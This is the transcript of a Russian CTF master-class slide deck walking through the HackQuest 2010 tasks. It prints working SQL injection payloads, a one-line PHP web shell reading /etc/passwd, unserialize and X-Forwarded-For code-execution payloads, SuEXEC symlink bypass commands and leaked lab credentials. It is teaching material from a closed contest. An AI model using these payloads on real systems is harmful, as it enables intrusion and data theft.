• Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
2,356
On Slideshare
0
From Embeds
0
Number of Embeds
0

Actions

Shares
Downloads
58
Comments
0
Likes
1

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Chaos Constructions HackQuest 2010, Full Disclosure ( мастер - класс )
  • 2. План мероприятия
    • Несколько слов о мероприятии
    • Заложенные уязвимости, пути их обнаружения и эксплуатации
    • Практическое занятие
  • 3. Пара слов о HackQuest на Chaos Constructions 2010
    • HackQuest на CC — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью : web hacking, social engineering, reverse engineering и т.п.
    • HackQuest на CC предоставляет полную свободу выбора по прохождению заданий.
    • Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах.
    • Расположение большинства «ключей» заранее не известно.
  • 4. Разработчики HackQuest на Chaos Constructions 2010
    • Антон Карпов (без комментариев ; он сам за себя все сказал : 100% Virus Free Podcast #17 , http://www.esetnod32.ru/.company/podcast/ )
    • Сергей Рублев, Тимур Юнусов, Сергей Павлов, Дмитрий Евтеев
    • Александр Матросов
    • Тарас Иващенко ( Oxdef) , Дмитрий Сидоров ( INVENT )
    • Владимир Воронцов ( D0znp)
  • 5. Карта игровой инфраструктуры
    • 192.168.192.2 Содержит задания
    • 192.168.192.3 ( honeypot) Cisco 1601R router
    • 192.168.192.4 Содержит задания
    • 192.168.192.5 ( honeypot) Sun Solaris 9
    • 192.168.192.6 Содержит задания
    • 192.168.192.7 ( honeypot) Windows XP SP1
    • 192.168.192.8 Содержит задания
    • 192.168.192.9 Содержит задания
    • 192.168.192.10 Содержит задания
    • 192.168.192.11 ( honeypot) IBM AIX 4.2.X-4.3.3.0
    • 192.168.192.12 Содержит задания
    • 192.168.192.13 ( honeypot) Linux SuSE
    • 192.168.192.14 (honeypot) Windows 2000 Server SP2
    • 192.168.192.15 Содержит задания
    • 192.168.192.16 ( honeypot) Cisco IOS
    • 192.168.192.17 Содержит задания
    192.168.192.18 (honeypot) Cisco Catalyst 192.168.192.19 (honeypot) Juniper router 192.168.192.20 Содержит задания 192.168.192.21 ( honeypot) Windows 2000 SP3 192.168.192.22 (honeypot) Check Point FireWall-1 192.168.192.10x Содержит задания 192.168.192.10x Содержит задания 192.168.192.172 ( honeypot) APC Smart-UPS 192.168.192.173 хост не является целью WiFi Социальная инженерия Набор дополнительных заданий
  • 6. CC HackQuest 2010: Задание #1
    • SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security
    • Уязвимый запрос :
      • $query = "INSERT INTO indexes (text,source) value ('". $_GET['text'] ."',". $_GET['action'] .")";
      • Эксплуатация :
      • /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 7. CC HackQuest 2010: Задание #1
    • SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security
    • Альтернативные методы эксплуатации :
      • /search.php?action=0&text=1' /*! %2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1
      • /search.php?action=0&text=1' /*! %26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
      • /search.php?action=0&text=1' /*! %26('blabla')%26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1
      • /search.php?action=0&text=1' /*! %26(''%22%22'')%2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
  • 8. CC HackQuest 2010: Задание #1
    • SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security
    • Классическая последовательность эксплуатации :
    • На выходе – таблица « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=(' … На выходе – имена колонок « login » и « password » в таблице « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=(' /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 9. CC HackQuest 2010: Задание #1
    • SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security
    • Классическая последовательность эксплуатации :
    • На выходе – данные из таблицы « admins » /search.php?action=1&text=1' /* !,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 10. CC HackQuest 2010: Задание #1
    • Обнаружение раздела администрирования сайтом ( via robots.txt )
    • Восстановление MD5- хеша ( via rainbow tables, eq www.xmd5.org )
  • 11. CC HackQuest 2010: Задание #1
    • Классическая эксплуатация Remote File Including
    • Получение приватного RSA ключа в одном из домашних каталогов пользователей системы
  • 12. CC HackQuest 2010: Задание #1
    • Использование RSA ключа для доступа к системе (пароль не требуется)
    • В случае использования пароля к RSA ключу, можно было использовать SSH Private-Key cracker ( http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html )
  • 13. CC HackQuest 2010: Задание # 2
    • SQL Injection ( PostgreSQL ) в Select (error based)
    • Уязвимость содержится в разделе восстановления пароля пользователя.
      • Эксплуатация :
      • /index.php?r=recovery&name=1&email=1&status= cast(version()+as+numeric)
  • 14. CC HackQuest 2010: Задание # 2
    • SQL Injection ( PostgreSQL ) в Select (error based)
    • Классическая последовательность эксплуатации :
    • На выходе – таблица « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- ... /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)-- … На выходе – имена колонок « login » и « password » в таблице « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)--
  • 15. CC HackQuest 2010: Задание # 2
    • SQL Injection ( PostgreSQL ) в Select (error based)
    • Следуя подсказке :
    • Получение данных, восстановление SHA1- хеша ( plain text: 8167) :
  • 16. CC HackQuest 2010: Задание # 2
    • Обнаружение уязвимости File Including
  • 17. CC HackQuest 2010: Задание # 2
    • Выполнение команд на сервере с использованием «самого короткого веб - шелла» :
    • /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=ls
    • /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=cat /etc/passwd
    • Как это работает ?
      • Использование stream wrappers ( « data » появился в PHP с версии 5.2.0)
      • short_open_tag и register_globals в состоянии « ON »
      • <?= ?> эквивалентно <? echo ?>;
      • Использование обратных кавычек эквивалентно использованию shell_exec()
    • Дополнительно :
      • http://php.net/manual/en/wrappers.data.php
      • http://www.php.net/manual/en/wrappers.php.php
      • http://ru.php.net/operators.execution
      • http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
  • 18. CC HackQuest 2010: Задание # 2
    • Результат эксплуатации уязвимости LFI
  • 19. CC HackQuest 2010: Задание # 2
    • Получение ключа возможно после осуществления успешного перебора к сервису удаленного администрирования telnet (могут использоваться THC-Hydra , Medusa , ncrack, etc ). LOGIN: websupervis0r2 PASSWORD: websupervis0r2
  • 20. CC HackQuest 2010: Задание #3
    • Сложность первого этапа указанного задания заключается в переборе «спрятанных» за Mod_rewrite поступающих параметров в приложение.
  • 21.
    • Журнал Хакер ( http://www.xakep.ru/magazine/xa/138/default.asp ) &quot;Фаззинг сайта, «защищенного» mod_rewrite&quot; , Тимур Юнусов ;
    • http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html http://www.ptsecurity.ru/download/modrewrite_search.zip
    CC HackQuest 2010: Задание #3
  • 22.
    • Mod_Rewrite и HTTP 413 « Request Entity Too Large »
    • Ошибка возникает в следствии некоренного значения « Content-length »
    • http://devteev.blogspot.com/2010/09/modrewrite.html
    CC HackQuest 2010: Задание #3
  • 23. CC HackQuest 2010: Задание #3
    • Blind SQL Injection ( MySQL 4.0.x )
    • Логически истинный запрос ( true ) /index.php?pag=1 'or(1)=(1)/* &login=1&password=1
    • Логически ложный запрос (false) /index.php?pag=1 'or(1)=(2)/* &login=1&password=1
  • 24. CC HackQuest 2010: Задание #3
    • Blind SQL Injection ( MySQL 4.0.x )
    • Эксплуатация :
    • /index.php?pag=1 '+or+mid(version(),1,3)='4.0'/* &login=1&password=1
    • /index.php?pag=1 '+or+mid(login,1,1)='b'/* &login=1&password=1
    • ...
    • /index.php?pag=1 '+or+mid(password,1,1)='a'/* &login=1&password=1
    • ...
  • 25. CC HackQuest 2010: Задание #3
    • Восстановление MD5- хеша
    • Доступ к веб-приложению (переход от « black-box » к « gray-box »)
  • 26. CC HackQuest 2010: Задание #3
    • Уязвимость HTTP Parameter Pollution (HPP)
    • Содержимое .htaccess:
    • ErrorDocument 404 ./404.html
    • RewriteEngine On
    • RewriteRule ^([0-9]*).php ./index.php?pag=$1 [L,QSA]
    • RewriteRule ([0-9]*)/$ ./system.php?id=$1 &access=user [L,QSA]
  • 27. Что такое HTTP Parameter Pollution?
    • OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 28. Что уязвимо к атаке HTTP Parameter Pollution Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  • 29. CC HackQuest 2010: Задание #3
    • Использование уязвимости HTTP Parameter Pollution
    • /1/? access=admin или /system.php?id=1& access=admin
  • 30. CC HackQuest 2010: Задание #3
    • Выполнение команд на сервере over unserialize()
    • Потенциально уязвимый участок кода ( index.php ) :
      • echo $pages['adminka'];
      • $sessid = unserialize($_COOKIE['admin_id']);
    • Уязвимый участок кода ( functions.php ) :
      • function __destruct() {echo $this->shutdown;
      • if (!empty($this->shutdown)){
      • $var = $this->shutdown[0];
      • $arg = $this->shutdown[1];
      • $var($arg);
      • Еще почитать : « PHP unserialize() _SESSION and Dynamics » , Владимир Воронцов ( http://oxod.ru/?p=244)
  • 31. CC HackQuest 2010: Задание #3
    • Выполнение команд на сервере over unserialize()
    • Эксплуатация (cookie[admin_id]):
    • O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:7:&quot; phpinfo &quot;%3Bi:1%3Bs:2:&quot; -1 &quot;%3B}}
    • O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; ls -la / &quot;%3B}}
    • O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; cat /KEY &quot;%3B}}
  • 32. CC HackQuest 2010: Задание #4
    • Александр Матросов, http://amatrosov.blogspot.com/
  • 33. CC HackQuest 2010: Задание # 5
    • Нестандартный язык программирования ( Lua )
    • Владимир Воронцов, http://oxod.ru/
  • 34.
    • Выход за пределы каталога (path traversal)
      • Эксплуатация :
      • cat file.in | b64decode -o file.out
      • openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k ' из history'
    CC HackQuest 2010: Задание # 6
  • 35.
    • Хостинг-сервер
      • Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой DNS- зоны.
      • dig @192.168.192.10 PTR 10.192.168.192.in-addr.arpa
      • dig @192.168.192.10 cc10.site axfr
    CC HackQuest 2010: Задание # 7
  • 36.
    • Классическая уязвимость Local File Including
    • Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы раскрутки local и remote file include», http://www.xakep.ru/post/49508/default.asp )
    CC HackQuest 2010: Задание # 7
  • 37.
    • Пример проведения атаки :
    CC HackQuest 2010: Задание # 7
  • 38.
    • Обход ограничений SuEXEC
    • Уязвимость заключается в возможности переопределить установленные ограничения на каталог веб-сервера ( FollowSymLinks )
    • Использование уязвимости :
      • echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess
      • ln -s /usr/local/www/data/root/ .htaccess /usr/local/www/data/vasya/ access.txt
      • ln -s /usr/local/www/data/root/ .htpasswd_new /usr/local/www/data/vasya/ passwd.txt
    • http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf
    CC HackQuest 2010: Задание # 7
  • 39.
    • Социальная инженерия
    • Получение исходного кода и адреса уязвимого приложения ; эксплуатация уязвимости «Внедрение операторов SQL » в SQLite с использованием особенностей функции sqlite_escape_string () ; Владимир Воронцов, http://www.xakep.ru/post/53551/default.asp
    CC HackQuest 2010: Задание #8
  • 40.
    • Для прохождения задания требуется получение исходного кода приложения
    CC HackQuest 2010: Задание #9
  • 41.
    • Эксплуатация уязвимости :
      • X-Forwarded-For= ';?><?eval($_GET['cmd']);?><?$a='
    • Результат такого запроса :
      • # cat /usr/local/www/apache22/data/blacklist.php
      • <?
      • include_once('config.php');
      • $blacklist_ip[0] = ' ';?><?eval($_GET['cmd']);?> <?$a='';
      • ?>
    CC HackQuest 2010: Задание #9
  • 42.
    • Получение доступа к используемой конфигурации Cisco
    • Login: cc10Cisco Password: cisco
      • Router> enable 3
      • Password: Cisco
      • Router#show privilege
      • Current privilege level is 3
      • Router# show running-config view full
    CC HackQuest 2010: Задание # 10
  • 43.
    • Подбор содержимого TFTP- сервера
    • http://code.google.com/p/tftptheft/downloads/list
    CC HackQuest 2010: Задание # 1 1
  • 44.
    • Тонкости Microsoft Active Directory
    CC HackQuest 2010: Задание # 1 2
  • 45.
    • Тонкости Microsoft Active Directory
    CC HackQuest 2010: Задание # 1 2
  • 46.
    • IPv6, WiFi, задание с использованием Cross-Site Scripting, стеганография, задания на поиск ключа в PDF и др. Всего игровая инфраструктура содержала 21 ключ .
    CC HackQuest 2010: Другие задания
  • 47. CC HackQuest 2010: Победители
      • I. RDOT.org (8 заданий)
      • II. Andrey 1800 (4 задания)
      • III. nucro (4 задания)
      • III. neweagle (4 задания)
  • 48. CC HackQuest 2010: Вместо заключения
      • Что дальше ?
      • Выполните практическое занятие
      • Участвуйте online http://www.securitylab.ru/hq2010
    • И еще немного ссылок :
      • http://cc.org.ru/
      • http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
  • 49. Спасибо за внимание! Вопросы ? [email_address] http://devteev.blogspot.com/